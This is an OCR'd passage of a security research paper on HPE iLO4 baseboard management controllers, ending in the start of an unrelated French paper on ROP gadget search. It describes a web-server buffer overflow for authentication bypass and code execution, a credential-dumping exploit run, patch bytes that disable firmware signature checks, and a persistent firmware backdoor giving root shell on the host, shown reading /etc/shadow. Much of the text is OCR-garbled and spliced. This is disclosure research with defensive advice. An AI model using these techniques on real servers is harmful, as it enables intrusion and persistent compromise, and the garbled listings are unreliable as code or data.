0000 68 3c 5a 2a e9 df al 6a c2 d6 96 43 85 54 4e dO h<Zx*...j...C.TN.
0010 c3 a4 el 6f cb 2d 0f b6 Oc 28 cd 31 88 db 07 6¢c I T G I §

Lo o

-1

Having reverse-engineered and re-implemented the decompression al-
gorithm, one has the surprise to discover an ELF file for the module above!
The following listing shows the dump of the extracted ELF header.

Offset(h) 00 01 02 03 04 05 06 07 08 09

00000000
00000010
00000020
00000030

7F
02
AO
68

45
00
A2
02

4C
28
67
67

46
00
01
02

01
01
00
01

01
00
ocC
00

01
00
17
00

00
00
00
00

00
00
34
F4

00
00
00
4C

OA OB 0C OD OE OF

00 00 00 00 00 00 L% 5 00000000000
00 00 34 00 00 00 0€ooo0000000 4..

20 00 66 02 28 00 ......... 4. .f.(
00 00 00 00 00 00 h.g.............

What we have found so far is:

— A HPIMAGE blob is signed, verified by the x86 code (flashing tool)

— Collection of IMG_HEADER images

— Each of them is signed, verified by the ARM bootloader at startup, using
the embedded public key (from the cryptographic parameters).
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3.4 Signature check reimplementation

To validate our findings, it is possible to re-implement the integrity check.
First, one need to extract the content of the update package (see listing 6).

The fingerprint is computed on the raw (possibly compressed) data
and includes the first 0x40 bytes of the image header. In order to verify the
RSA signature, the modulus and exponent are found in the cryptographic
parameters structure; the signature is found in the dedicated field of the

ImgHeader structure.

The Ruby code from listing 7 illustrates the re-implementation of the
signature verification algorithm; its output is presented on listing 8.

$ 11 ./extract/
total 39M

-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r—-- 1 ilo
-rw-r--r—-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r—-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo
-rw-r--r-- 1 ilo

ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo
ilo

63K
1.1K
2.2K
1.7K
1.4K
23M
1.1K
14M
512
1.2K
320
770K
1.1K
471K
512
770K
1.1K
471K
512
1.1K

Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar

15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15

16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:

55
55
55
55
55
55
55
55
55
55
55
55
55
55
55
55
55
55
55
55

bootloader.bin
bootloader . hdr
cert0.x509
certl.x509
cert2.x509

elf .bin

elf . hdr

elf . raw

elf .sig
hpimage . hdr
ilo4_244 .bin.map
kernel_main.bin
kernel_main.hdr
kernel_main.raw
kernel_main.sig
kernel _recovery
kernel _recovery
kernel_recovery.
kernel_recovery.
sign_params.raw

.bin
.hdr

raw
sig

Listing 6. Directory listing of extracted files

# read stored signature and compute fingerprint
def fingerprint (path,

puts
digest =

# read header

File.open(

basename)

>

digest << fd.read (0x40)

}

# read blobdb
File.open (
blob =

fd.read ()

)

# append blob size and data
digest << [blob.size].pack(

Digest::SHA2.new(bitlen=512)

Y{I£dl

Y{I£fdl

on data (shab512)
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digest << blob
X
puts "\n> digest:\n#{digest.hexdigest}"
endr

# wverify the signature

def verify_sig(s, n, e)
puts "[+] verify signature\n"
puts "\n> s:\n#{s.to_s(16)}"
puts "\n> n:\n#{n.to_s(16)}"
puts "\n> e:\n#{e.to_s(16)}"

m = s.to_bn.mod_exp(e, n)
puts "\n> m:\n#{m.to_s (16) }\n"

sig = [m.to_s(16)].pack("H*").unpack(’C*’)

raise ’[x] invalid sig’ unless (sig.shift == 0x01)
loop do

b = sig.shift

break if (b != OxFF)
end

puts "\n> output:\n#{sig.map{li| "%02x" % i}.join () }\n\n"
end

Listing 7. Integrity check implementation

>ruby signature.rb ./extract/kernel_main.sig
[+] load crypto parameters
> signature size: 4096
[+] load signature
[+] verify signature

> s:
a9a9c82179e1429485c6251a1cb2649f4a0fb2bff1fae8f028b4a26fda59d6e690d2431c422a3f
[...]
0626a93674e524be3c4971ab267deb87b332d80035f9b61457b6a46677c184ea83d55944a0b3f9
adB8e24b81le

> n:
d34b4cc0d6d3a0e01£c1d06909c5ba303£f£d320492ac3¢c2418843¢c03d8e4402c387353405bf51d
Loood
04£92553bdc4£3363113114dceb7dbabfe4d013be144bd82db756969f476690b0036734e6236£5
Obb186d28b

> e:
10001

> m:
OlFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Foood
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFOOBBO17DE214F82D0C189B9CB50548219B8A316C9611
1666 E318229A5E47C2BB351E9CCAOFF79F30D525F0D96BE88D2C372FA10B1638F791267AE3E132
679 AEE65

> output:
bb017de214£82d0c189b9cb50548219b8a316c96111666e318229a5e47c2bb351e9ccal0ff79£30
d525f0d96be88d2c372fa10b1638£f791267ae3e132679aeceb5

[+] computed kernel_main fingerprint

> digest:

bb017de214£82d0c189b9cb50548219b8a316c96111666e318229a5e47c2bb351e9ccal0ff79£30
d525f0d96be88d2c372fa10b1638£f791267ae3e132679aeceb5

Listing 8. Integrity check output
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iL04 does not implement any kind of hardware root of trust.
If one is able to bypass the “HP Signed file” envelope signature check;
then the bootloader code only relies upon the cryptographic parameters
it embeds in order to verify the integrity of the modules it loads. If an
attacker was able to write its own firmware directly on the flash chip, they
could remove the signature checks or embed its own public key.

4 Web server vulnerability

Once the firmware update file format has been understood, its various
components can be loaded in a disassembler for a proper security study.

We focused on the web server, as it is usually enabled to allow an easy
iL0 administration.

It supports both HTTP and HTTPS and runs four concurrent threads to
handle connections. Once a client is connected, one of the threads starts
parsing the data it receives line by line, by using several string parsing
functions from the libc, such as strstr(), strcmp() and sscanf ().

We noticed a bad usage of sscanf () when parsing the Connection
header, as highlighted in the following listing:

else if ( !strnicmp(request, http_header, "Content-length:", OxFu) )
{

content_length = 0;

sscanf (http_header, "%*s %d", &content_length);

state_set_content_length(global_struct_, content_length);
ilse if ( !strnicmp(request, http_header, "Cookie:", 7u) )
‘ cookie_buffer = state_get_cookie_buffer (global_struct_);
parse_cookie (request, http_header, cookie_buffer);
zlse if ( !strnicmp(request, http_header, "Connection:", OxBu) )
¢ sscanf (http_header, "/*s %s", https_connection->connection);
}

The connection buffer from the https_connection object is only 16
bytes long. Providing a Connection header larger than 16 bytes triggers
a buffer overflow allowing to overwrite the content of the object.

We identified the object layout in memory, and found two interesting
values to overwrite: the localConnection boolean, which indicates if a
connection comes from the network or directly from the host; and the
vtable, which holds the object’s virtual functions pointers. These values
are described in the following listing:
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struct https_connection {
0x0C: char connection[0x10];
0x28: char localConnection;

0xB8: void *vtable;

Indeed, a very simple and stable exploitation consists in sending a
Connection header containing 29 random characters. The overflow will
reach the localConnection boolean, setting it to a non-zero value. This
is sufficient to allow unauthenticated access to several pages, including
the Rest API endpoint.

Gaining arbitrary code execution is a bit harder, as we have to overwrite
the vtable pointer to make it point to a known place containing arbitrary
function pointers. The first observation we made was that there was no
defense-in-depth mechanism such as NX or ASLR. We then noticed that
each web server thread uses a working buffer located in the binary .data
section, in which each line received is stored before being parsed. We thus
are able to control this working buffer content, and can use it to store a
fake vtable and a shellcode, gaining effective code execution.

We developed a proof-of-concept exploit reading the content of the file
containing the cleartext users credentials (i:/vol0/cfg/cfg_users.bin):
$ python exploit_get_users.py 192.168.42.78 250
[*] Connecting to 192.168.42.78...

[+] Connected

[*] Assembling shellcode...

[*] Preparing shellcode headers...
[*] Preparing fake vtable...

[*] Preparing fake vtable headers...
[*] Preparing XML request...

[*] Sending 1094d bytes...

[+] Request XML sent

[*] XML data retrieved

[*] Found iL0 version 2.50

[*] Preparing request 2...

[*] Sending 109f9 bytes...

[+] Request 2 sent

[+] User 01: [Administrator] [Administrator] [G...... 71
[+] User 02: [admin] [admin] [passwOrd]

5 1iL0 to host

Once we compromised the iL0 system through its web server, our objective
was to pivot from there and gain access to the host operating system.
During our investigations and analysis of the system, we took a look at a
specific task: the Channel Interface (CHIF) task.



F. Périgaud, A. Gazet, J. Czarny 19

5.1 Access to the host memory

While reversing the CHIF task, we found mentions of Windows Hardware
Error Architecture (WHEA [4]) records parsing in the log messages of the
task:

whea: invalid info from SMBIOS type_229 : offset=JX, size=%X
whea: found whea_info at %p
whea: NO $WHE found!

[...]

whea: sawbase access failed

[...]

whea : re-running whea HostRAM detect

From a functional point of view, WHEA events are generated at host
operating system level. Later on, a task of the iL0 system is trying to
parse them. It means a communication channel exists between the server
main processor/memory and the iL0 system.

Now, what is “SMBIOS type 229”7 System Management BIOS
(SMBIOS [2]) defines a set of interfaces (data structures and access points)
used to expose information from the system firmware (BIOS). Various
types of information are defined; type 0 describes BIOS Information for
example. Types 0 through 127 are reserved and defined in the specification.
Types 128 through 256 are 0EM specific information.

Type 229 is OEM defined and thus undocumented up to our knowledge.
Still, it is possible to dump the SMBIOS interfaces from the host operating
system (here a Linux):

# dmidecode -t 229
Getting SMBIOS data from sysfs.
SMBIOS 2.7 present.

Handle 0xE500, DMI type 229, 100 bytes
OEM-specific Type
Header and Data:

E5 64 00 E5 24 44 46 43 00 50 FE F1 00 00 00 00
00 04 00 00 24 43 52 50 00 50 F9 F1 00 00 00 00
00 00 05 00 24 48 44 44 00 30 F9 F1 00 00 00 0O
00 20 00 00 24 4F 43 53 00 FO F8 F1 00 00 00 0O
00 40 00 00 24 4F 43 42 00 FO F7 F1 00 00 00 0O
00 00 01 00 24 53 41 45 00 EO F7 F1 00 00 00 00
00 10 00 00

0000 24 44 46 43 00 50 fe f1 00 00 00 00 00 04 00 00 $DFC.P..........
0010 24 43 52 50 00 50 f9 f1 00 00 00 00 00 00 05 00 BORP cPoococooono
0020 24 48 44 44 00 30 f9 f1 00 00 00 00 00 20 00 0O $HDD.O....... o0
0030 24 4f 43 53 00 fOo f8 f1 00 00 00 00 00 40 00 00 $0CS......... Q..
0040 24 4f 43 42 00 fO0 f7 f£1 00 00 00 00 00 00 01 0O $0CB............
0050 24 53 41 45 00 e0 f7 f1 00 00 00 00 00 10 00 00 $SAE............

Fach entry seems 16 bytes long. The highlighted bytes look like 64-bit
pointers. The following listing provides a C structure definition of these
“type 229” entries based on our analysis:
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struct entry229 {
char tagl4];
void *pointer64;
int flags;

Let’s check one of these pointers in physical memory:

root@ilo-server ~ubuntu:~# xxd -s $((0xf1f95000)) /dev/mem|head -n 8

£1£95000: 2452 4253 0000 0000 0001 0069 0813 0400 $RBS....... acoa
£1£95010: 0113 0400 0101 6£f00 0000 0001 6752 4f4d ...... @oo0o00 gROM
£1£95020: 2d42 6173 6564 2053 6574 7570 2055 7469 -Based Setup Uti
£1£95030: 6c69 7479 2c20 5665 7273 696f 6e20 332e 1lity, Versiom 3.
£1£95040: 3030 0dOa 436f 7079 7269 6768 7420 3139 00..Copyright 19
£f1£95050: 3832 2c¢20 3230 3135 2048 6577 6¢c65 7474 82, 2015 Hewlett
£1£95060: 2d50 6163 6b61 7264 2044 6576 656c 6f70 -Packard Develop
f1£95070: 6d65 6e74 2043 6f6d 7061 6e79 2c20 4c2e ment Company, L.

Back to the CHIF task, WHEA entries are accessed using a very specific
pattern; see func_XXX from the following C code:

char whea_header [0x18];
int *ptr_entry = find_in_smbios_229 ("$WHE") ;
if (ptr_entry) {

int phy_ptr_low = ptr_entry[1];

int phy_ptr_high = ptr_entryl[2];

void *whea_ptr = func_XXX(phy_ptr_low, phy_ptr_high);
sawbase_memcpy_s (whea_header , whea_ptr, 0x18);

[...]

At assembly level, func_XXX involves interesting hardcoded addresses
(see assembly listing on figure 4).

func_XxX

Moy R12, 5P

STHFD sp*, {R11,R12,LR,PC}
sug R11, R1Z2, #4

LDR R12, =flag

Moy R3, R1,LSL#8

ORR R2, R3, RB,L5RH#Z4
LDRB R3, [R12]

BIC R2, R2, HOxFFOOB6808
ORR R2, RZ, R3,L5L#Z24
LDR R1, =8z1FB20864

STR R2, [R1]

BIC R2, RA, #0=FFoogoon
ADD R8, RZ, #B:4600000
LDHDB R11, {R11,SP,PC}

; End of function func XXX

Fig. 4. Hardcoded address 0x1F02064
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The function is equivalent to the following C code:

void *func_XXX(void *ptr_low, void *ptr_hi) {
char flag = 2;
int magic = (flag<<24) |
(((ptr_hi << 8) | (ptr_low >> 24)) & OxO0ffffff);
*(0x1£02064) = magic;
return (ptr_low & OxOO0ffffff) | 0x600000;

We have few answers and many questions about func_XXX:

— The passed 64-bits pointer is truncated to a 16MB boundary
— An unknown flag is set to 2

— What is mapped at 0x1F020647

— What is mapped at 0x6000007

5.2 Memory regions

The Integrity kernel offers an interesting concept of Memory Region. A
Memory Region object is used to map a physical memory region into the
virtual space of a task. The C code proposed demonstrates how a memory
region is instantiated:

sprintf (mr_name, "MRYX", mr_physical >> 12);
RequestResource (&mr_object , mr_name, "!systempassword");

RequestResource initializes and sends a request to the kernel. It is
made of the following elements:

— A verb, e.g. “procure”
— The name of the object, e.g. “MR80200”
— A password, e.g. “!systempassword”

Each task has a list of Memory Region which can be mapped in its
virtual memory, by calling memmap (). The CHIF task maps the following
Memory Regions:

Physical Virtual Size

0x80000000 0x1F00000 0x1000 MR80000
0x800F0000 0x1F01000 0x1000 MR80O0FO
0x80200000 0x1F02000 0x1000 MR80200
0x802F0000 0x1F03000 0x1000 MR802FO0
0x804F0000 0x1F07000 0x1000 MR804FO0
0x82000000 0x600000 0x1000000 MR82000
0xC0000000 0x1F10000 0x1000 MRC0000
0xD1000000 0x1F14000 0x1000 MRD1000

We now have our virtual < physical mapping:



22 Subverting your server through its BMC

— 0x1F02064 is the mapping of 0x80200064
— 0x600000 is the mapping of 0x82000000

Furthermore, 0x1F02000 is known to contain PCI registers mappings.
That’s something we have learned from the dbug.html page exposed by
the iL0 web server (see listing 9). The two highlighted addresses are close
to the one we identified in func_XXX. Our assumption is that they have
a related semantics and thus that the address 0x1F02064 is a memory
mapping of an unknown PCI register.

1£01006 Fn0 PCI-E Status Reg CSMPCISR
1£01010 FnO PCI-E I/0 BAR

1£f010ca Fn0 PCI-E Device Status Reg
1£02078 PCI-E Err Stat Reg PERSTAT
1£020b4 Sys Flt Stat Reg SYSFAULT
1£03006 Fn2 PCI-E Status Reg CHIFPCISR
1£03010 Fn2 PCI-E I/0 BAR

1£f030ca Fn2 PCI-E Device Status Reg
1£05006 Fn3 PCI-E Status Reg WDGPCISR
1£050ca Fn3 PCI-E Device Status Reg
1£07006 Fn4 PCI-E Status Reg UHCIPCISR
1£070ca Fn4 PCI-E Device Status Reg
1£09006 Fnb5 PCI-E Status Reg VSPPCISR
1£09010 Fn5 PCI-E I/0 BAR

1£090ca Fnb PCI-E Device Status Reg
1£f0b006 Fn6 PCI-E Status Reg IPMIPCISR
1£0b010 Fn6é PCI-E Memory BAR

1£f0bOca Fné PCI-E Device Status Reg

Listing 9. PCI registers mapping

We have enough knowledge to re-implement the same technique in
our shellcode. Our objective is to fill a 16MB Memory Region with host
memory. The following procedure can then be applied:

— Take a host physical memory address

— Shift it right by 24

— Add flag

— Write the value in register 0x1F02064

— 77?7 (Unknown behavior on hardware side)
— Profit by accessing MR82000!

Weaponizing this technique, we are able to map the physical memory
of the host (main server) with read/write access. It opens a wide range
of possibilities such as rebuilding the memory mapping of the system, or
injecting code into the host system.

With persistence in mind, our idea is to implement a two-way communi-
cation channel over this mapped memory, offering command execution on
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the host server. A typical scenario for this would be an attacker using the
iL0 vulnerability to achieve cross-domains pivot between administration
and production VLANs for example.

6 Crafting a backdoored firmware

Here, the objective is to craft a modified firmware to embed a backdoor
for example. For this, many components of the update package are going
to be patched. The simplest way is to patch them “in-place” in the binary
file; we simply overwrite the content and fix the headers of the patched
components. To facilitate this approach, our extraction script generates a
map of all the offsets where the components are found:

[+] Firmware offset map
HP SIGNED FILE at 0x00000000
HP_CERTO at 0x0000020f
HP_CERT1 at 0x00000ab3
HP_CERT2 at 0x0000112e
HPIMAGE_HDR at 0x00001664
BOOTLOADER_HDR at 0x00001bilc
BOOTLOADER at 0x00ffiblc
ELF_HDR at 0x00001f5c
ELF at 0x0000239c
KERNEL_MAIN_HDR at 0x00efilbilc
KERNEL_MAIN at 0x00efi1f5c
KERNEL_RECOVERY_HDR at 0x00f71bilc
KERNEL_RECOVERY at 0x00f71f5c

VVVVVVVVVVYVVYV

For this example we choose to insert our backdoor in the userland
component, the ELF file. Patching the integrity checks is only a mat-
ter of changing a single conditional jump in the bootloader and kernel
components (see figure 5).

BL sha512_update

ADD R1, SP, #ox18@+sha_ctx ; a2

ADD RO, SP, #@x180+sha_output_buffer ; al
BL sha512_finalize

LDR RO, [RS,# 1

cmp RO, #0

/ADRNE RO, aDone ; " - done\n"

BLNE log

ADD R1, SP, #ox18@+mod_sig

ADD RO, SP, #@x180+sha_output_buffer
MOV R2, # ;e

BL memcmp

LDR R1, [R5,#2x30]

icMP Re, #0

BEQ SIG_VALID

3 ¥
P Pi=]

P R1, #0

IADRNE RO, aSignatureMisma ; "Signature mismatch\n' SIG_VALID

BLNE log P R1, #0

MoV RO, #OXFFFFFFF6 |ADRNE Re, aSignaturevalid ; "Signature valid\n"
LDMDB R11, {RS-R8,R16,R11,SP,PC} BLNE log

LDR RO, [RS,#2x2C]

cmp RO, #0

STRNE R6, [Re]

Fig. 5. Signature check implementation
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A description of the bootloader patch regarding the integrity check is
provided in Python:

# Patch signature check : BNE XX -> MOV RO, #O0
PATCH = {"offset": 0x38BC, "size": 4, "prev_data": "4000001A", "
\ patch": "O000OAOE1"}

The high-level methodology is simple:

— Extract (and decompress when needed) all the components

— Patch integrity check in the bootloader

— Patch integrity check in the kernel

— Modify the ELF image to embed our backdoor code

— Re-compress modified components when needed

— Write modified components in the binary update file, update their
headers

— Flash iLO with modified firmware

7 iLOshell

Our high-level objective is to craft a backdoored firmware exposing a
two-way communication channel offering command execution on the host
server. For this, we will reuse existing iL0 features as much as possible.
Using the web server endpoint seems the most efficient and reasonably
stealth way to do so.

The idea is to hook or reuse existing handlers of the web server to
expose the following functionalities:

— Communication channel setup

— Command execution over the communication channel (send command
and receive answer)

— Communication channel removal

7.1 Backdooring the firmware

The web server code can be found in the webserv.elf section of the ELF
userland Integrity image. A large number of handlers are exposed by
the web server, a few of them are given below for illustration purpose:

— /dbug.html
— /dispatch
— /favicon.ico
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— /html/admin_manage.html

— /html/admin_security_HPsso.html
— /html/help.html

— /html/il0.ico

— /html/info_blade.html

Each of these handlers is described internally by a structure which
mostly contains callbacks for HTML methods: POST, PUT, DELETE, GET, HEAD,
etc. (see figure 6).

ROM: 00198538 off_198538 DCD dword_16B23C4 ; DATA XREF: ROM:ResourceDbugHandlerslo
ROM:©019853C DCD aResourcedbug ; "ResourceDbug"

ROM: 00198540 DCD unk_2EF6C5

ROM: 00198544 DCD off_1985B0@

ROM: 00198548 ResourceDbugHandlers WWW_HANDLER <@, off_198538, ©, sub_282CC, ©, sub_281B8, @, sub_281DC, \
ROM: 00198548 ; DATA XREF: sub_1023C+984To

ROM: 00198548 ; sub_1823C:off_18CA8T0

ROM: 00198548 @, dbug_POST, o, dbug_GET, ©, dbug_PUT, @, dbug_DELETE, \
ROM: 00198548 @, dbug_PATCH, @, dbug_HEAD, ©, sub_281C8>

ROM: 08198540 aResourcedbug DCB "ResourceDbug",@ ; DATA XREF: ROM:0019853Cto

ROM:©@1985AD DCB @, 9, @

Fig. 6. Dbug handler callbacks definition

The callbacks seem like a perfect place to insert our backdoor code,
relying upon the web server features to handle the lower-level (socket
level) communications.

7.2 Linux Kernel Shellcode

On the iL0 system, our backdoor code runs in the web server task as
a hooked handler. We need to inject code in the host system (a Linux
system for this example), to be able to: run arbitrary commands, wait for
commands completion and return the outputs.

The technique we have used so far to inject code into the host system
is to overwrite unused kernel functions and then to hijack an entry of
the syscall table in order to redirect the execution flow to our injected
shellcode. Our code is thus executed in kernel mode. This is enough for
one-shot execution like spawning a shell, however we now want to be
persistent and to execute commands at userland level as well.

Two technical issues need to be solved:

— Kernel persistence
— Run code in userland from kernel, wait for its completion and retrieve
its output.
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The first point is easily solved using kthread. Once executed our
kernel shellcode will migrate its code into a newly created kthread.

To solve the second point, we reuse the technique presented by Ben
Seri and Alon Livne [7]. It simply relies on the dedicated Linux kernel
primitive: call_usermodehelper”.

int call_usermodehelper ( const char * path,
char ** argv,
char ** envp,
int wait);

This helper gracefully allows us to execute a command in userland.
Passed with the appropriate value, the wait parameter allows us to wait
for command completion. For the sake of simplicity the command outputs
its result into a file that is then read from kernel-land.

7.3 Communication channel

The communication channel between the iL0 system and the host system
is built upon a shared memory page. It takes advantage of the ability of
the iL0 to read arbitrary physical memory of the host. At high- level:

— iL0-side backdoor writes a message about new commands to execute
— Linux-side backdoor executes commands and writes the outputs into
the shared memory

In order to setup the shared memory region, the kernel shellcode will
allocate a new 1MB memory region, retrieve its physical address, and
write it in a memory location related to itself. As the iLO knows the
shellcode physical address, it will be able to retrieve the shared memory
address.

On the iL0 side, the physical memory address will be retrieved so that
it can be mapped for read and write accesses.

We define the channel structure to describe the memory page:

struct channel {
int available_input;
int input_len;
char input [4096];
int available_output;
int output_len;
char output[];

}

 https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.
html
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On the iL0 side, when a new shell command is received, it gets
written to the input buffer, the input_len value is updated and the
available_input flag is updated to 1. The iL0O then waits for the
available_output flag to be 1, and sends back the output buffer content
according to the output_len size.

On the Linux kernel side, the backdoor thread waits for in-
put data by monitoring the available_input flag. It then calls the
call_usermodehelper and redirects the command output to a temporary
file. After the command completion, the temporary file is read and deleted,
and its content is written to the output buffer. Finally, the output_len
field is updated, and the available_output flag is set.

To be able to control the Linux kernel shellcode, we also defined
a magic value that can be written in the available_input field. Such
magic value can be used to terminate the kernel thread and free the shared
memory region once we want the backdoor to be removed.

$ python backdoor_client.py 192.168.42.78
[+] iL0 Backdoor found
[-] Linux Backdoor not detected

Welcome to the iL0 Backdoor Commander.

detect_backdoor () : checks for the backdoor presence on iL0 and
the Linux host

install_linux_backdoor(): installs the Linux kernel backdoor if
not present

cmd (CMD) : executes a Linux shell command

remove_linux_backdoor (): removes the backdoor

Example:
ib.detect_backdoor ()
ib.install_linux_backdoor ()
ib.cmd ("/usr/bin/id")
ib.remove_linux_backdoor ()

Python 2.7.14+ (default, Mar 13 2018, 15:23:44)

[GCC 7.3.0] on linux?2

Type "help", "copyright", "credits" or "license" for more
information.

(InteractiveConsole)

>>> ib.install_linux_backdoor ()

[*] Dumping kernel...

[+] Dumped 1000000 bytes!

[+] Found syscall table @Oxffffffff81a001cO

[+] Found sys_read QOxffffffff8121e510

[+] Found call_usermodehelper QOxffffffff81098520
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[+] Found serial8250_do_pm QOxffffffff81528760

[+] Found kthread_create_on_node QOxfffffff£f810a2000

[+] Found wake_up_process QOxfffffff£f810ad860

[+] Found __kmalloc Q@Oxffffffff811f8c50

[+] Found slow_virt_to_phys @Oxffffffff8106c6a0

[+] Found msleep Q@Oxffffffff810£f0050

[+] Found strcat Q@Oxffffffff8140c9cO

[+] Found kernel_read_file_from_path Q@Oxffffffff812236e0
[+] Found vfree QOxfffffff£f811d7£f90

[+] Shellcode written

[+] iL0 Backdoor found

[+] Linux Backdoor found

>>> ib.cmd ("/usr/bin/id")

[+] Found shared memory page! 0xe8200000 / O0xffff8800e8200000
uid=0(root) gid=0(root) groups=0(root)

>>> ib.cmd("head /etc/shadow")
root:!:16758:0:99999:7:::
daemon :*:17268:0:99999:7:::
bin:*:17268:0:99999:7:::
Sys :*:17268:0:99999:7:::
sync :*:17268:0:99999:7:::
games :*:17268:0:99999:7:::
man :*:17268:0:99999:7:::
lp:%:17268:0:99999:7:::
mail :*%:17268:0:99999:7:::
news :*x:17268:0:99999:7:::

>>> ib.remove_linux_backdoor ()

Listing 10. iLO backdoor client

8 Detecting firmware compromise

So far we have seen that the lack of hardware root of trust leaves the
system widely vulnerable to a persistent backdoor at firmware level. As
a defender, one could use the same privileged access to the iL0 system
offered by the exploitation of the web server vulnerability to read the
content of the flash and attempt to validate its content.

For this purpose, a script was developed to automatize the process
of flash dumping using the RCE vulnerability and comparing to known
“good” digests.

$ python exploit_check_flash.py 192.168.42.78 250
[*] Connecting to 192.168.42.78...

[+] Connected

[+] Request XML sent

[*] XML data retrieved

[*] Found ilL0 versiomn 2.50

[+] Request 2 sent

[*] 0x00000000 bytes...
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[*] 0x00000400 bytes...

[*] 0x00000800 bytes...

[...]

[*] 0x00fff800 bytes...

[*] 0x00fffc00 bytes...

[+] Flash contains iL04 version 250

$ python exploit_check_flash.py 192.168.42.78 250
[*] Connecting to 192.168.42.78...

[+] Connected

[+] Request XML sent

[*] XML data retrieved

[*] Found iLO0 version 2.50

[+] Request 2 sent

[*] 0x00000000 bytes...

[...]

[*] 0x00fffc00 bytes...

[-] Unknown firmware dumped! This might indicate a backdoor!

Listing 11. Firmware integrity check

This is a best effort attempt to provide a simple and practical way
of checking the firmware integrity. Still, as always with backdoor/rootkit
detection, it is a race to the lowest levels. In this example, we perform a
read of the content of the flash from a userland task. This userland uses
an interface provided by the SpiService service, which in turn makes
syscalls to the kernel. In case of a compromised firmware, one of these
components may hook the read function and hide sensitive modifications.

9 Conclusion

BMC, and iL0 systems in particular, are complex and powerful. They offer
many services and features, at the cost of a significant attack surface. Dur-
ing the course of this study, the authors discovered a critical vulnerability
in the web server component of iL04. Although fixed by the vendor, it
offers a trivial remote authentication bypass and full compromise of both
the iL0O and the host systems.

If they are not actively used, completely disabling the feature is a
good practice. Otherwise, administrators should take great care to keep
their systems up to date whenever possible. Network-level isolation should
be put in place to ensure that iL0 systems can only be accessed from
dedicated administration VLANSs.

We use the web server vulnerability and its related code execution
primitive as a foothold on the iL0 system; trying to install ourselves per-
sistently on the system. As demonstrated in this paper, iL04 systems offer
perfect, highly stealth, long term persistence capabilities to a motivated
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attacker; mostly due to the lack of hardware root of trust and to our
privileged access to the SPI service. Indeed, thanks to our code execution
primitive we were able to bypass the signature check performed by the
installed firmware and to flash our rogue firmware. From there, the chain
of trust relies upon the bootloader, which we have compromised.

It also means that in case of a compromise, wiping and reinstalling the
host operating system is not sufficient: the hardware should be considered
untrusted as well. This sensible security gap is advertised to be fixed with
the release of iL05 systems and Proliant Gen1O servers, bundled with a
feature named silicon root of trust.

Platform security awareness is slowly gaining more and more attention.
Long term efforts such as the CHIPSEC framework [8] or more recently
published projects like Titan from Google [1] are good illustrations. Each
independent computational unit is a potential target for the attackers and
thus has to be taken into consideration in the security model.

The authors would like to thank the Synacktiv and Airbus Digital
Security teams for their insightful reviews and comments.
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Résumé. Dans ce papier nous présentons une nouvelle approche pour
la recherche de gadgets. Plutét que d’utiliser une sémantique symbolique
précise et coliteuse, nous nous basons sur une sémantique de teinte qui
prend en compte correctement les registres, la pile, et la mémoire. Cette
approche a été implémentée dans un outil libre, T-Brop, qui démontre
son intérét et son positionnement intermédiaire : plus rapide que les outils
symboliques et permettant des requétes plus expressives que les outils
syntaxiques.

1 Introduction

Lors d’une évaluation de sécurité sur un logiciel, I’analyste doit émettre un
avis et des recommandations en terme d’architecture, de configuration, et
de correction d’éventuelles failles identifiées. A défaut de preuve formelle
de sécurité, I'analyste doit étre compétent et utiliser des outils a 1’état de
I’art afin d’émettre un avis pertinent. Par ailleurs, ses recommandations
auront plus de poids s’il réussit a démontrer la criticité d’une faille par un
code d’exploitation capable de contourner les contre-mesures prévues.

C’est dans ce contexte que nous avons développé 'approche taint-
based return oriented programming et ’outil associé, T-Brop, qui facilite
la réalisation de ROP chains. Outre la correction de la faille associée, cet
outil nous permet d’insister sur la nécessité de mettre en place des contre-
mesures modernes, comme la vérification d’intégrité du flot d’exécution
(control flow integrity, CFI [1]), afin d’entraver ce type d’attaques.

La faille classique du débordement de tampon sur la pile (stack buffer
overflow [15]) permet d’injecter du code dans la mémoire d’un processus
et de détourner le flot d’exécution vers ce code injecté via ’écrasement de
I’adresse de retour. Si ce type de failles persiste encore, leur exploitation
directe est heureusement aujourd’hui rendue difficile par différentes contre-
mesures. Parmi celles-ci, la prévention de I'exécution des données (data
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execution prevention, DEP, ou write zor execute, WHX) empéche, comme
son nom l’indique, I'exécution d’'une zone mémoire modifiable : une zone
mémoire est modifiable ou exécutable mais pas les deux.

Tant qu’'une contre-mesure de ce type est active, il n’est pas possible
d’injecter et exécuter un code malveillant. Il reste cependant possible de
détourner le flot d’exécution vers du code déja présent en mémoire, on
parle alors d’attaque en réutilisation de code (code reuse attack [17]).

Parmi ces approches, le ROP (return oriented programming [14,24,29])
consiste en 'enchainement de courtes séquences d’instructions terminant
par un retour de fonction ou plus généralement tout branchement indirect.
Ces portions de code sont appelées gadget, et leur enchainement une ROP
chain. Des contre-mesures, notamment les différentes variantes de CFI,
permettent de détecter ou entraver, dans une certaine mesure, les ROP
chains. Encore faut-il qu’elles soient correctement mises en ceuvre.

Dans le cadre d’un débordement de tampon sur la pile, plutot que
d’injecter du code, les adresses des gadgets de la ROP chain sont placées sur
la pile. Lors de ’exécution du retour de fonction en fin de gadget, ’adresse
du gadget suivant est récupérée sur la pile, provoquant son exécution et
permettant ainsi I’enchainement des gadgets de la ROP chain.

De nombreux outils ont été développés pour faciliter 1’élaboration
de ROP chains. Comme nous le verrons plus loin, ces outils peuvent
étre classés en deux catégories distinctes suivant la précision de ’analyse
